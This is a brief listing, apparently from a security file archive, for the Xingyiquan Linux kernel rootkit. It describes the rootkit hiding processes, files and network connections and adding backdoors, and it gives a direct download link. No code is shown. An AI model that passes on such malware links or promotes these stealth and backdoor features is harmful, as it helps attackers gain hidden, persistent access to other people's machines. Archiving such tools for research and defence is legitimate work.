Xingyiquan rootkit for Linux kernel versions 2.6.x and 3.x. It hides processes, files, directories, processes, network connections, adds backdoors, and more.
You can download it from the following link: https://packetstormsecurity.com/files/download/128945/xingyiquan.tar.gz
Source: https://packetstormsecurity.com/files/128945/Xingyiquan-Linux-2.6.x-3.x-Rootkit.html